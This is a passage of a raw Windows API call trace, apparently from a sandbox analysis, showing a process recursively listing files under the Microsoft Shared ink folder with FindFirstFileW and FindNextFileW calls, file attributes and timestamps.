ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5d08b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2f600, dwReserved0=0x0, dwReserved1=0x0, cFileName="split.avi", cAlternateFileName="")) returned 1 [0069.800] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa23a9ac, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa23a9ac, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll.mui", cAlternateFileName="")) returned 1 [0069.800] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll.mui", cAlternateFileName="")) returned 1 [0069.800] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll.mui", cAlternateFileName="")) returned 1 [0069.801] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5cd75ed, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5f38bbd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5f38bbd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0069.801] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 1 [0069.801] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 0 [0069.802] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0069.804] GetProcessHeap () returned 0x550000 [0069.804] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0069.804] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0069.805] GetProcessHeap () returned 0x550000 [0069.805] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0069.805] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*", lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0069.805] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.805] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0069.806] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0069.806] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0069.806] GetProcessHeap () returned 0x550000 [0069.806] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0069.806] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0069.806] GetProcessHeap () returned 0x550000 [0069.806] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0069.806] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*", lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0069.807] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.807] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0069.807] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0069.807] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0069.808] GetProcessHeap () returned 0x550000 [0069.808] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0069.808] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0069.808] GetProcessHeap () returned 0x550000 [0069.808] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0069.808] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*", lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0069.808] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.808] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0069.809] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0069.809] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0069.809] GetProcessHeap () returned 0x550000 [0069.809] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0069.809] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f4e4a1, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x92f4e4a1, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x92f9a75d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0069.809] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c53a9c4, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5c53a9c4, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe29c9700, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe", cAlternateFileName="")) returned 1 [0069.810] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0069.810] GetProcessHeap () returned 0x550000 [0069.810] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0069.810] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*", lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0069.810] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.811] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0069.811] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0069.811] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0069.811] GetProcessHeap () returned 0x550000 [0069.811] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0069.811] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1 [0069.811] GetProcessHeap () returned 0x550000 [0069.811] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0069.812] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*", lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842f0 [0070.589] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.589] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad", cAlternateFileName="")) returned 1 [0070.589] GetProcessHeap () returned 0x550000 [0070.589] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26d70c8 [0070.798] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*", lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684330 [0070.844] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.844] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 1 [0070.845] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 0 [0070.845] FindClose (in: hFindFile=0x2684330 | out: hFindFile=0x2684330) returned 1 [0070.845] GetProcessHeap () returned 0x550000 [0070.845] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26d70c8 | out: hHeap=0x550000) returned 1 [0070.845] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2b1a99, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2b1a99, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2b1a99, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0070.846] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad", cAlternateFileName="")) returned 1 [0070.846] GetProcessHeap () returned 0x550000 [0070.846] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26d70c8 [0070.846] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*", lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684330 [0070.847] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.847] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f4a0c5f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f4a0c5f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea.xml", cAlternateFileName="")) returned 1 [0070.847] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, 